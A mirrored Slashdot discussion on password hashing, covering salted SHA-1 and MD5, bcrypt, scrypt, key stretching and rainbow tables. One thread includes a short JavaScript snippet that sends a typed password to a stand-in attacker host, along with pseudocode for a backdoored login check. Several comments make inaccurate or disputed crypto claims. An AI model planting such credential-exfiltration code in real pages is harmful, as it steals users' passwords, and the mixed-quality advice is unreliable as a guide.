Slashdot Mirror


Are You Sure SHA-1+Salt Is Enough For Passwords?

Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be. Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

54 of 409 comments (clear)

  1. Wait, what? by Anonymous Coward · · Score: 4, Informative

    Why is this even a question? Use bcrypt, always. (Preferably using the $5$ or $6$ extensions.)

    1. Re:Wait, what? by vlm · · Score: 3, Informative

      Why is this even a question? Use bcrypt, always. (Preferably using the $5$ or $6$ extensions.)

      mysql only offers AES, DES, MD5, and SHA... So... for at least a certain subset of developers, thats what they're going to use.

      I'm not saying they're correct to do so, I'm just explaining why they will not even consider your suggestion, because they have architectural problems, for them its not as simple as search and replace all calls to md5() with bcrypt().

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    2. Re:Wait, what? by Stellian · · Score: 4, Informative

      While most people know enough about security to avoid a plain password hash, very few people know how vulnerable common key derivation functions truly are. Things like PBKDF2, bcrypt and MD5-crypt widely used for example in Linux shadow file or in TrueCrypt give only a linear advantage over a salted plain hash. 5000 MD5 repetitions might sound like great security from a brute force perspective, but the asymptotic hardware cost of brute-forcing such a password is fairly small. The cost to break your 8 letter bcrypt password is in the hundreds of dollars, assuming enough passwords are cracked to justify a hardware cracker. I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy. Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.

      I know of only one strong key derivation algorithm that forces the attacker to scale it's hardware cost at the same rate as the software slowdown: scrypt. So by all means, don't use bcrypt, use scrypt.

      The issue is completely different in a webserver, that probably can't spend 1 second of CPU time whenever a user logs in. Is such cases a hash + salt is all that you can realistically expect if a dedicated authentication machine does not exist. At least try to combine them safely using a HMAC, not some home-grown SHA1(salt+password) scheme.

    3. Re:Wait, what? by MightyYar · · Score: 2

      Use bcrypt

      Forgive me for being dense, but the advantage of bcrypt is that it's slower? If that is the case, why not just run your MD5 or whatever hashes in a loop 50 or 60 times to get the same performance hit?

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    4. Re:Wait, what? by ifrag · · Score: 4, Funny

      Ouch... and here I was thinking my hand-harvested, shade-grown, organic Himalayan pink salt was the final solution to password security. That's the last time I trust the Himalayans.

      --
      Fear is the mind killer.
    5. Re:Wait, what? by Just+Some+Guy · · Score: 2

      They're very wide bytes.

      --
      Dewey, what part of this looks like authorities should be involved?
    6. Re:Wait, what? by Gunstick · · Score: 2

      additionally they won't think about salting. I have seen many mysql databases where there are plain md5 strings.
      So you can gain access by google: http://www.google.com/search?q=e10adc3949ba59abbe56e057f20f883e

      --
      Atari rules... ermm... ruled.
    7. Re:Wait, what? by asdf7890 · · Score: 2

      Nope. The result of an MD5 run is a 128 bit value. 16 bytes. 32 characters if represented in hexadecimal. http://en.wikipedia.org/wiki/Md5

      Am MD5 rainbow table for all passwords between 1 and 7 characters long with between 0 and 7 lower case characters, between 0 and 7 upper case, between 0 and 7 numeric characters and 0 to 7 spaces weights in at only 26Gb apparently, within the available RAM of a chunky machine these days and well within modern drive sizes - so you definitely need some salt in that hash.

      How long it would take to generate a rainbow table for a given password pattern (should someone want to generate a new one because they have access to your password store and know the fixed hash that you use) I'm not sure, but I bet it is quite practical if you are a hacker with access to a large botnet to run the computation over - so using a salt that varies per password as well as or instead of a fixed salt is probably a good idea.

    8. Re:Wait, what? by Anonymous Coward · · Score: 2, Interesting

      I recently was tasked to oversee a pen test by a person who had a connection back to his head office where he had about 320GB of rainbow tables set up that he had created previously. The company he represented is a big audit firm and you would know the pen tester's name if you heard it.

      He had broken into one of the servers and retrieved the password hashes. One of the passwords turned out to be a 16-character password made of 2 dictionary words with a non-letter character between the 2 words. Keepass 1.18 showed over 70 bits of "Quality" for that password, so it wasn't a joke password.

      He cracked it using the tables in less than 3 seconds.

      After I picked up my jaw from the floor, I made a note to go home and change ALL my passwords to be more secure. However I can't help but think that the day of the password is over and we are going to have to come up with something a lot better for authentication on the Internet and in enterprises.

  2. Passwords by betterunixthanunix · · Score: 2, Insightful

    Easy solution: do not rely on passwords. As TFA says, people are very bad at generating random passwords, so why are we relying on them to do so? Use cryptographic authentication methods, and a lot of problems will be solved.

    Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.

    --
    Palm trees and 8
    1. Re:Passwords by antifoidulus · · Score: 2

      and if someone breaks into my house and steals my dongle? What then? I have to have some way of going and getting a new one and inactivating the old one. How can I do that? How can I prove that I am the original owner? I'm going to need some type of security mechanism, such as a.....PASSWORD!

    2. Re:Passwords by betterunixthanunix · · Score: 2

      Or you could tell your bank to revoke your key, in person (presumably there is a system for identifying yourself in person), and to register a new public key for you; this has the added advantage of helping them track down people who might try to use your old key. If meeting in-person is not possible (e.g. with Amazon or EBay) you could call them and tell them the fingerprint for your new key, or perhaps even just have them deactivate your old account and then create a new one.

      This is basically the process I use with SSH keys: people who lose their private keys (often by formatting their drives) have to come to me and give me a new public key to log in with. It is slightly less convenient than a password, but all I need to do is look through the logs of endless attempts to brute force passwords to remind myself that it is worth it.

      --
      Palm trees and 8
    3. Re:Passwords by Carewolf · · Score: 2

      No, the real problem is that even if you had perfect authentication that couldn't be faked, you could still have stupid, malicious or simply corrupt employees. The entire idea of trying to restrict information to specific people is flawed. That doesn't mean it is a bad idea, but don't be surprised that it isn't perfect, and don't worry about complete perfection. You will always have way bigger security holes than technological ones.

      What is the solution: There is no solution, only semi-perfect prevention.

    4. Re:Passwords by Wolvenhaven · · Score: 2

      If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.

      --
      Orwell was an optimist.
    5. Re:Passwords by betterunixthanunix · · Score: 2

      It is somewhat ironic that you should bring up Facebook, which is the first website that comes to mind when I think about the problems with passwords. Have you forgotten what one of Zuckerberg's first uses for Facebook was? I have not:

      http://www.businessinsider.com/how-mark-zuckerberg-hacked-into-the-harvard-crimson-2010-3

      This is one of the biggest problems with passwords: you often wind up sending a password to some unknown system that could be doing a number of things with it (like displaying it to Mark Zuckerberg). Combined with the fact that people routinely use the same password on multiple systems, and may mistakenly enter the password for one system when logging in to another, I would say passwords are almost a security liability.

      Here is the alternative, and it is very common to do this with ssh: use public key authentication. I can leave my public key on numerous systems, and not worry about some account being compromised. My computer generated the key; computers are good at generating big random numbers. I can also choose my security level; if I want a search space of a certain minimum size, I can generate an RSA key of a corresponding size (likewise with DSA/EC/etc.). There are some annoyances with public keys, but in my opinion, they are far better than passwords.

      --
      Palm trees and 8
    6. Re:Passwords by JWSmythe · · Score: 2

          Banks aren't all that smart.

          I bought a house and moved across the country a few years ago. Because I had bought a house, I was on every creditors list as having money. I received two "checks" for $5,000 and $8,000. Those checks were cashable, but they would have opened a line of credit for me at 24.99%.

          Little did I know, one of them also sent one to my previous residence for $9,000. Someone saw it as free money. I found out after the collections company tried to get their money from me. We went around for about 1/2 hour on the phone, and started getting it fixed. They sent me a copy of the check. The thief had to go to 3 banks to find one that would cash it. Yup, one whole day of work, and a $9,000 profit. Apparently the guy didn't even have to show an ID.

          Do I trust that the teller at the bank will actually look at the ID, and verify the identity? Nope. Consider other "banking security" methods. For security, they mail your credit/debit card to your house. They mail the book of checks. How hard is it for someone to open your mailbox, and swipe the contents. Usually they'll get junk mail. Once in a while they'll get a brand new credit card or box of checks.

          In the end, as I've discovered, unless the thief goes on a huge spending spree, there will rarely be an investigation or prosecution. The banks just look at it as a cost of doing business, and recover their losses through fees that they hit the customer with. Yup, we pay for their mistakes.

      [rant mode suspended]

      --
      Serious? Seriousness is well above my pay grade.
  3. The problem is people by plover · · Score: 3, Interesting

    Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

    One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.

    --
    John
    1. Re:The problem is people by vlm · · Score: 5, Insightful

      Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

      Its best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks. And store then so they can't reuse their previous 20 passwords. That way the users will exclusively save the password in their unsecure browser, unsecure post it notes, or cut and paste from a text file, or the corporate standard database that being an excel spreadsheet. Thats how REAL security pros roll, or so I'm told.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    2. Re:The problem is people by Rosco+P.+Coltrane · · Score: 2

      Maybe enforce "three word minimum" or something

      Wanna bet on the number of people who'll chose "a a a" as a password?

      --
      "A door is what a dog is perpetually on the wrong side of" - Ogden Nash
    3. Re:The problem is people by betterunixthanunix · · Score: 2
      I imagine a simple answer would be for people to carry their private keys on a card of some sort -- people seem to be able to carry around drivers licenses and passports without too much difficulty. True, losing the card could complicate matters, but there are solutions to that as well -- storing revocation certificates in a safe place, procedures for issuing new keys (show up at your bank in person with a new key, call up companies, etc.). Key generation could be done with any computer, although people would have to be knowledgeable enough to follow the procedure (which may be asking too much of users). No, this is not a perfect solution, but it would be a big step forward.

      Ask Sony what happens if you are not sufficiently careful about how you generate private keys...

      If you are referring to the recent PS3 crack, it had nothing to do with how Sony generated their keys; in fact, as far as anyone can tell, Sony did an outstanding job of generating an ECDSA key. What Sony botched was the ECDSA signing procedure; instead of a unique random number for each signature, they used the same number each time, thus allowing the key to be recovered from just two signatures.

      --
      Palm trees and 8
    4. Re:The problem is people by ftobin · · Score: 2

      It's best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks.

      You forgot that the password should also have a maximum length of 16 characters.

      I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.

    5. Re:The problem is people by Haeleth · · Score: 2

      That isn't necessarily bad. It's easier for a random cybercriminal in China or Russia to root a server that stores a million passwords than it is for them to break into a million American homes.

  4. Re:Security cookbook? by Errol+backfiring · · Score: 3, Informative

    I found this book useful. It does not go too deep, but just deep enough: http://innocentcode.thathost.com/

    --
    Nae king! Nae laird! Nae yurrupiean pressedent! We willna be fooled again!
  5. They don't necessarily get the salt by mysidia · · Score: 2, Insightful

    When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

    Not if you encrypt the salt using the password.

    Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
    Salt Hash = SHA256( SALT )

    Authentication: user enters password
    Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
    Yes: Password Entered Correctly
    No: Access Denied

    1. Re:They don't necessarily get the salt by spikenerd · · Score: 2, Interesting

      Not if you encrypt the salt using the password.

      The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.

    2. Re:They don't necessarily get the salt by 0123456 · · Score: 2

      The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password.

      How are you going to perform a dictionary attack when the salt is just a random number? For a brute-force attack you need to know that the value you've decrypted is the correct one, and if the value is just a random number you have absolutely no information to tell you whether it's valid.

  6. Re:Uhhh, yeah? by magsol · · Score: 2

    No, the moral of the story is to not do any of those things, since your box is going to get hacked anyway.

    --
    "I'd just like to emphasise that taking a million years isn't a metaphor here..." -Rich Bradshaw
  7. Re:First Post! by WrongSizeGlass · · Score: 2

    First post!

    Your failure to properly encrypt your post has left it vulnerable to many eyes. Maybe you should have RTFA?

  8. Are MD and SHA easily reversible? by Frogg · · Score: 4, Interesting

    I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?

    They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.

  9. Re:Password Security. by John+Marter · · Score: 2

    Moreover, you generally have a pretty good intrusion detection system for a password kept on your person. If it has been compromised, you'll know it and can change the password.

  10. Re:Yet another idiot story. by tazan · · Score: 3

    The point of the story was rainbow tables are unnecessary, it doesn't matter how long your salt is they can iterate through most of the hashes in a matter of days. If you use a different salt for every account then they would have to repeat the process for each account, which definitely limits the damage, but doesn't make you feel any better if you're the account they are going after. TFA says we need to slow down their ability to iterate through all the possible hashes.

  11. Re:First Post! by e70838 · · Score: 3, Informative

    In fact the first post is almost as much interesting as the whole story. Melchett does not understand very well the purpose of salts and want to share with us its ignorance.
    Salts are a necessity: without salt, you would be able to identify very fast two users having the same password. Without salts, you would be able to find a password faster when you have more users. As a result, the size of the salt shall be related to the number of encrypted passwords you are trying to protect from cracking.

    If you are trying to crack a single account, salt does not change anything. The purpose of salt is not to increase the security of a single account, but to avoid the reduction of security that would occur when you have many accounts.

  12. Okay...waitaminute.. by Chas · · Score: 4, Insightful

    So you're saying SHA+a salt value sucks *IF THE ATTACKER ALREADY HAS ROOT ACCESS*?

    Ore are you saying SHA+a salt value sucks *IF PEOPLE ARE USING WEAK DICTIONARY PASSWORDS*?

    Can I get a "well fucking DUH!" here?

    Seriously, exactly how tall are you claiming this molehill to be?

    In BOTH cases the problem IS NOT the weakness of SHA+salt.

    In the latter, the problem is some jackass used a crappy password. And even that's defensible if you have things like login restrictions and account locking in place.

    In the former, well, not sure how to put this politely, THEY HAVE ROOTED YOUR BOX! At that point, you've got MUCH bigger problems on your hands than their ability to decrypt your password database.

    Sorry, but this sounds like someone with SEVERE tunnel-vision here. They're so monofocused on "A" problem, that they fail to see the larger ramifications of the scenarios they construct.

    --


    Chas - The one, the only.
    THANK GOD!!!
  13. Re:News at 11 by ObsessiveMathsFreak · · Score: 5, Informative

    This isn't about passwords, it's about using hash values to protect passwords even from people with the root password. Basically, not even root should be able to figure out any users password.

    Normally this is done by never storing the users password, only a hash of the users password, it's MD5 value say. Now the user enters their password, this is hashed, and that value compared to the stored hash. We could talk about collisions etc, but lets assume this works for now. User can get in with the right password, but not even root knows what this is just by looking at the hash database.

    Unless of course rootâ"or the attacker that has gained rootâ"has a precomputed table of hash values. Then they need only look up the hash and obtain the password directly. To prevent this, systems use "salts", random integers/strings, appended/XORed to the password before the hash is computed. In theory then, an attacker would need to generate a different hashtable for each individual system compromised. Infeasible, or so we think.

    He's where TFA comes in. MD5 and SHA1 are optimised to some extend for speed. Now, suppose the attacker has gained root and now knows the salt. How long will it take to generate a hashtable which can be looked up to find user passwords. TFA argues that this will now take only 33 days on a single machine using GPU computation. That's ~24 hours with less than 50 GPUs. Salt or not, these hashes are crackable in hours, not years.

    So basically, the speed of MD5 and SHA1 hashes is actively working against computer security by making computing hashtables easier. TFA argues that a more computationally difficult hash scheme is needed, subject to certain criteria, and offers the PBKDF2, Bcrypt, and HMAC algorithms as potential alternatives. You could also throw, say, the three body problem with initial conditions at the computer instead.

    Basically, hashing will protect against people with root access, but only if the hashing algorithm is computational difficult.

    --
    May the Maths Be with you!
  14. Re:Here's an idea by Entrope · · Score: 2

    You would get basically the same result, with less chance of compromising the hash function, by prepending or appending some unique-per-server string to the input.

    The operations in each round of these hash functions are usually very carefully chosen to resist attack, and fiddling with that mathematical structure is much more likely to make a worse hash function than it is to make an equivalent or stronger one.

  15. Re:Security cookbook? by Anonymous Coward · · Score: 5, Informative

    Be sure to mention it to Melchett and CmdrTaco. They sure have completely missed the point of salting password hashes. When you have root, you can obviously verify that a given password matches the information stored on the compromised system. As root you have access to all information that the computer can use and since the computer must be able to tell if the given password is correct, root can too. The point of salt isn't to make that impossible. That would be stupid.

    The point of salt is to make it impossible to use a precomputed table of password hashes and find a valid matching password just by comparing the precomputed hashes to the ones on the system. If you don't use salt, then one rainbow table suffices and the reversed passwords can be used on any other system that uses the same hash algorithm without salt and where the user has the same password (happens much too often.) With salt, you can not reverse the password except by brute-forcing each and every password hash individually. No time-memory trade-off with rainbow tables.

    SHA1 is still considered a cryptographically secure hash function, which means so far no faster way to reverse it is known than trying all possible inputs in the forward direction until the result matches the given hash value. Salt makes the hash function an individual function per system (or even per password), which means you have to repeat this process for every system/password without being able to use precomputed tables and even if you can reverse a password hash by brute force, it is unlikely that you can use the resulting password somewhere else, because many passwords match the same hash, but only the right one will match for any salt.

  16. Re:Security cookbook? by Brad1138 · · Score: 4, Funny

    It does not go too deep, but just deep enough:

    That's what she said...

    --
    If you could reason with religious people, there would be no religious people
  17. Who cares what method? by gnieboer · · Score: 3, Interesting

    The box is rooted, nothing you do matters. Just change the code...

    CHANGE:
    string pass = request("userspass")
    if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
                UserAuthenticated
    }

    TO:

    string pass = request("userspass")
    SendTheHackerThePassword(pass)
    if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
                UserAuthenticated
    }

    And you're done... Just wait for the passwords to come rolling in.

    Any rooted machine that handles the user's actual password can be coerced into giving it up. So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection). That would help, though the client machines should be easiest to hack, but at least it takes longer to get the right password.

    1. Re:Who cares what method? by Gunstick · · Score: 3, Interesting

      Oh, the browser hashes the password.
      And the box is rooted?
      Put your code here:
      <head>
      <title>super secure website</title>
      </head>
      <body>
      <script>
      function doit() {
      document.write("<img src='http://senthehackerthepassword.com/"+form.password.value+"'>"
      }
      settimeout("doit()",5000) // could use onload or any other fancy technique
      </script> ...

      --
      Atari rules... ermm... ruled.
  18. A Continuum of Security by bk2204 · · Score: 2

    There are basically four levels of security with passwords. The first one is an unencrypted password. It's obvious why this is a bad idea. The second is a hashed password. This is, however, subject to a trivial dictionary attack. The third is salted and hashed, and the last is salted, iterated, and hashed. The benefit of iteration is that it slows down the attacker a huge amount. So while salted and hashed is much better than just hashed, it's not really ideal.
    OpenPGP provides the last three types and strongly encourages using iteration. WPA2 uses PBKDF2, which is iterated and salted. It's clear that if you want real, cryptographic security, you should be using an iterated and salted method. But using just salt is a much, much better idea than without salt at all.

  19. Password stretching etc by Cato · · Score: 4, Informative

    The solution to this is simple: just iterate the hash function many times so that the time to hash the password is (say) 300ms - unnoticeable to an interactive user, but significant for a brute force attacker. This is called password stretching, and is as important as salt.

    See http://www.openwall.com/articles/PHP-Users-Passwords for a review of this and other password hashing issues - not just for PHP, this article gives the thinking behind phpass which is now used in Drupal, and has been reimplemented in other languages. phpass includes bcrypt() as an option but can work even with really old PHP versions that only have MD5. Just because MD5 and SHA1 have been cracked to some degree doesn't invalidate them for password hashing with salt and stretching.

    Key derivation functions perform essentially the same operation as password stretching, see http://en.wikipedia.org/wiki/Key_derivation_function - there is an IETF RFC for this.

    Digression: Windows 7 still doesn't use salted passwords, which is why it's so easy to crack Win7 passwords given the hashed password, using Rainbow Tables - see http://en.wikipedia.org/wiki/Ophcrack - try the vendor's scarily good online password hash cracker for yourself...)

    Most importantly: don't even think of implementing your own crypto code unless the above is very old news to you, because you WILL get it wrong - the examples of unsalted and unstretched passwords are only the beginning. Instead, search for a credible crypto library in your chosen language, and if necessary write a C wrapper so that your preferred scripting language can access a good C/C++ library such as Crypto++ - http://www.cryptopp.com/

  20. Re:News at 11 by bsDaemon · · Score: 3, Insightful

    Well, seeing as how the article is about web authentication, hacking the passwd binary probably isn't that useful, depending on how the devs implemented their stuff. Probably they just take the text, pass it through a hashing function that likely punts to something like crypt() in the libc on the system, possibly picks a a salt, then stores the hashed password in a database table.

    crypt() putting out des, for example, usually only uses a 2-character salt, so if you have the hashed password you can knock the first 2 chars off, pass those back into crypt() as the salt value, the brute force the rest of the key space. Compare the result of the current iteration to the hash you're trying to crack, etc. or use rainbow tables, or other methods for doing this.

    Getting access to the database through a flaw in a web app is going to be a lot easier than getting a shell on the system then getting a local privilege escalation to root and replacing system binaries.

  21. Re:News at 11 by gweihir · · Score: 2

    As is well known to competent users of cryptography, you create the computational effort by iterating the hash. Even the very old UNIX crypt() function already did this. Those that use a single has iteration are simply incompetent and did not research how to do it right at all. Typical iteration counts needed today are in the 100'000 - 1'000'000 range.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  22. Re:News at 11 by asdf7890 · · Score: 2

    Basically, not even root should be able to figure out any users password.

    What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?

    Nothing. But the user could at least be aware that something is amiss as the password reset probably wouldn't be affected and this would only work for as long as the attacker maintains access (rather than syphoning off the user/pass data for later analysis elsewhere).

    The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).

  23. Stop by sakdoctor · · Score: 2

    What utter, utter nonsense.
    You don't iterate a hash function. That's just cryptographic hand waving. Pick a hash function that has not been broken with respect to password storage, then use a longer password, or key.

    HMAC is for message authentication codes. You do, in fact just use string concatenation for adding salt.
    NO HMAC, NO XORing, NO interleaving, JUST concatenation. Anything else is yet more cryptographic hand waving.

    1. Re:Stop by Stellian · · Score: 2

      You don't iterate a hash function. That's just cryptographic hand waving

      That's exactly what common password strengthening algorithms like bcrypt or PBKDF2 do. They are carefully designed for the purpose of increasing brute-force computational cost and of course don't simply do MD5(MD5(MD5(....MD5(x)))).

      HMAC is for message authentication codes.

      That's what an encrypted password is a MAC from the user that authenticates the salt using his password. In this instance however, since the attacker can't control the salt nor password, using a HMAC will not buy more security. Guilty as charged of hand waiving :)

    2. Re:Stop by sakdoctor · · Score: 2

      I guess I made a "hash" of making my point.

      Case study:, people trying to increase security be doing odd things such as first hashing with SHA1, then MD5, and many, many strange combinations. None of which actually improve security.
      Not even security though obscurity, but obscurity though spaghettification.

      Bottom line: Stop torturing that weak hash algorithm. Feed a strong key into a strong hash.

    3. Re:Stop by Stellian · · Score: 2

      The point basically was, use a stronger key in the first place, rather than layering on key strengthening techniques.

      And it's wrong. You might use a 256 byte passphrase, but the average PayPal user has 42 bits of entropy in his password. If you can stretch that to 60 - 70 bits using password strengthening techniques, it's a huge security improvement for your system.

  24. Re:News at 11 by gweihir · · Score: 2

    First, all security is a trade-off.

    Second, you need hash iterations and salt, but you only need to use the salt once at the beginning. After one hash iteration, you cannot use tables anymore, as they would be too large (for example 2^160 entries for sha1). Tables only work for low-entropy passwords, and because there are a lot less of those than there are hash values.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  25. Re:using game of life? by Gunstick · · Score: 2

    Well as we seek SLOW routines for password hashing, if you need 1000 GoL generations to get something really usable, well so that's it. Slow as hell. Exactly what is needed to secure a password.
    You can't use GoL to hash a complete file, there you need a fast hash function.

    --
    Atari rules... ermm... ruled.
  26. Re:Security cookbook? by Korin43 · · Score: 2

    Well, technically, you could have a rainbow table including different random salts. It'd be so enormous that most systems wouldn't actually be able to use it. Talk about space/time trade offs, though. If you had a big enough system with enough time to pre-compute the tables beforehand and enough storage to make them usable, then you'd really save loads of time in cracking passwords. The average high schooler isn't going to have such a system at his disposal, though. Neither would the average nation-state intelligence agency.

    Every bit in the salt doubles the size of a rainbow table. Assuming an unrealistically tiny 1 GB for a normal rainbow table, a rainbow table for the same passwords + a 32 bit salt is 4 Exabytes. With a 64-bit salt you're talking "so unbelievable large that we might never be able to store that amount of data".

    Not to mention that even a small salt makes it faster to just try each password individually than precompute all possible passwords.

  27. Salting with username by Miamicanes · · Score: 2

    Does anybody know why it's a bad idea to salt passwords with usernames (or hashes of usernames)? Say, something like...

    $username = "linus"

    $password = "tux4me"

    client asks server for salt to use with $username

    server returns md5("common2allUsers" . $username). Client doesn't do this directly to make it less publicly obvious that the first salt is "common2allUsers". Salt is algorithmically-determined by username to avoid revealing whether or not a given username is valid to attackers. Server uses md5 for speed, since this particular hash is partly just obfuscation and security theater.

    client calculates $passhash = sha-1($commonSalt . $password)

    client sends $username and $passhash to server.

    Server looks up $usersalt associated with $username in database. If $username doesn't exist, server pretends salt is 'badU53r' and proceeds with lookup anyway to reduce vulnerability to timing analysis attacks.

    $storedSaltedHash = sha256($usersalt . $passhash)

    Server looks up userid associated with $username and $storedSaltedHash

    Rationale for hashing before sending to server: to obfuscate the password in case it ends up being revealed in a log somewhere.

    Rationale for hashing the hash again: to use a unique hash for every user, without revealing the hash or enabling attackers to harvest usernames.

    Drawbacks: 1) increased server workload. 2) ???

  28. It's not the crackers I fear by SpaghettiPattern · · Score: 2

    It's not the crackers I fear but the idiots building web applications with crap security. I am not shitting you when I say that my computer parts supplier -whom I highly esteem- periodically sends me a clear text message containing my user name AND password. Just to keep me abreast. I've already emailed them that it is absolutely unacceptable that my password is saved as clear text but a sensible reply never came about.
    I stopped imagining how the shop functions and who has access to my password and resolved to never use that password anywhere else, to refrain from storing any payment information on the site and to wire instead every purchase I make. Worst case here is that some joker logs in and orders a shit load of items and I have to explain to the supplier that they are idiots.

    Generally speaking, when a node is compromised then password security is lost as there mostly will be a process reading your password in clear text. Using mechanisms with private and public keys will not expose your private key but the session on the server side is pretty much useless.
    Then again, there isn't yet a generic system available whereby you own a private key in hardware which you yourself do not even know, which works on every conceivable operating system. If think you have already the answer then consider that storing your private key on a host you think will never be compromised is pretty endearing or actually incredibly pathetic.

    There should be laws against storing clear text passwords and against organisations not being able to recognise if their systems are compromised. My take is this will take a few decades though.

    --

    I hadn't the slightest objection to his spending his time planning massacres for the bourgeoisie... (P.G. Wodehouse)
  29. Re:News at 11 by Rophuine · · Score: 2

    A correctly-implemented salted-password scheme uses a different salt per user - it doesn't even matter if it's trivial to predict. The point is that it multiplies the computational load to compromise n users by n. You can't generate a single look-up table any more.

    Further, the salt is combined with the key, not the user's password. If it was just combined with the password before the encryption, when you used your look-up table to find out the (password+salt) used to generate a particular hash, you would then de-combine the known salt and have the password! Simple.

    Finally, because the salt is combined with the encryption key, using one salt for your whole system would be no different to just using a different key.

    With the correct scheme, adding a per-user salt means (even if the salt is trivial to discover) you are using a DIFFERENT key to compute the hash for each user. Now you may still be able to generate a large look-up table of hashes to compromise an individual hash, but it will only work for ONE user account (barring salt collisions), and so a 24-hour run (your number) will be required PER USER ACCOUNT. This means that a few dozen, or even a few hundred, accounts may be compromised, but this will be a much smaller fraction than if you weren't using salts (or were using them incorrectly, as is so common).